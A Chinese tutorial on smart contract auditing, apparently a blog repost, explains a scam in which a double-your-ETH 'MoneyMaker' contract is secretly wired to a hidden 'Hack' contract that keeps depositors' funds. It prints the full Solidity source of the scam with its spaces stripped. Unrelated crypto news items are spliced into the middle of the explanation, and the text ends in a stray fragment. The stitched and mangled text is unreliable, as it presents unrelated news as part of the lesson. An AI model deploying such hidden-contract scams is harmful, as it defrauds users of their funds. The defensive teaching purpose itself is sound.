Maker:智能合约安全审计入门篇 —— 移花接木_VAULT

概述

上期我们了解了利用tx.origin进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源,其实我们会在部署A合约时传入C合约的地址,如果受害者完全信任我们没有检查部署A合约的那笔交易,我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑:

用户以为的调用路径:

部署合约A传入合约B地址,这样调用路径为正常路径。

实际的调用路径:

Mina Protocol计划将ZK智能合约引入主网:金色财经报道,Mina Protocol在社交媒体宣布该协议将迎来重大升级,计划将ZK智能合约引入主网,旨在大幅增加使用Mina构建的社区活动和产品。

升级的主要特点包括:使用o1js更轻松地实现zkApp可编程性;新的证明系统Kimchi增强安全性和效率;取消超额奖励,在主网早期阶段增加质押采用的临时激励措施。

Testworld Mission 2.0.正在进行升级准备工作。[2023/9/9 13:27:52]

部署合约A传入合约C地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局:

恶意代码

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

Web3数字艺术市场HeartX启动Beta测试,4月底将在L2部署智能合约:金色财经报道,Web3数字艺术市场HeartX宣布今天开始启动Beta测试,受邀用户将能探索其X-to-Earn生态,但内测期间将不开放NFT交易功能。 HeartX还宣布,到4月底,大部分智能合约将部署在以太坊Layer 2上,以降低gas费用成本,为用户带来更好的艺术品交易体验。(thedefiant)[2023/4/19 14:14:20]

局分析

可以看到,上述代码中存在三个合约,我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色:

MoneyMaker合约代表A合约;

Vault合约代表B合约;

Hack合约代表C合约。

所以用户以为的调用路径为:

MoneyMaker->Vault。

而实际的调用路径为:

英国法律委员会:英格兰和威尔士现行法律可适用于智能合约:金色财经报道,英国法律委员会(Law Commission)今天表示,英格兰和威尔士的现行法律可以适用于智能合约。根据该委员会的说法,对智能合约的执法并不需要对现有法律框架进行大规模的修改,除非在某些情况下,可能只需要对普通法进行微小的修改。今天的公告结束了委员会关于智能法律合约方面的工作,这是其第十三项法律改革计划的一部分。该声明还确认了英国司法管辖工作组在2019年11月就加密货币和智能法律合约达成的结论。根据法律委员会的说法,普通法的灵活性足以适应智能合约等新兴技术。因此,该委员会表示,英格兰和威尔士的管辖范围非常适合商业和创新。法律委员会还呼吁市场参与者采取积极的措施,以应对智能法律合约的激增。这些准备条款包括创建风险条款来解释智能合约的性能,以及建立用于理解智能法律合约中自然语言和计算机语言之间联系的协议。然而,法律委员会还指出,作为其结论的一部分,需要在智能合约和一般新兴技术引起的冲突解决领域进行更多的研究。在向政府提出的建议中,委员会同意某些类型的智能合约将带来独特的法律问题。与此同时,法律委员会也在研究加密货币和数字资产法规,重点关注产权,不论是有形的还是无形的。[2021/11/26 7:11:20]

MoneyMaker->Hack。

Matter Labs 将 Uniswap V2 智能合约和前端迁移至 zkSync 2.0 测试网:10月13日消息,Matter Labs 宣布将 Uniswap V2 智能合约和前端迁移至功能完备的 zkSync 2.0 测试网上,该端口名为 UniSync,为在 zkSync 2.0 上第一个迁移的 Solidity DApp。另外,Matter Labs 表示,UniSync 不隶属于 Uniswap Labs,将在即将推出的 zkSync 2.0 主网启动 Uniswap 实例。[2021/10/13 20:25:02]

下面我们来看看攻击者如何完成局的:

1.Evil部署Vault(B)合约并在合约中留存100ETH资金,在链上将Vault(B)合约开源;

2.Evil部署Hack(C)恶意合约;

3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约,部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址,任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报;

BM:Clarion OS正开发序列化库可提高EOSIO智能合约性能:EOS创始人BM(Daniel Larimer)发推称,Clarion OS正在开发一个改进的序列化库,可以通过减少CPU从数据库加载、修改数据的成本来提高EOSIO智能合约的性能。注:Clarion OS为BM昨日宣布的新社交媒体项目。[2021/3/3 18:09:56]

4.Bob收到消息,了解到MoneyMaker合约的存在,他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样,他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil;

5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH,在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。

咋回事呢?其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址,而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太,而是调用了Hack.transfer()抛出了一个事件:"Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出,并通过Hack.withrow()将Bob转入的20ETH转出。

预防建议

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

区块博客

[0:0ms0-6:950ms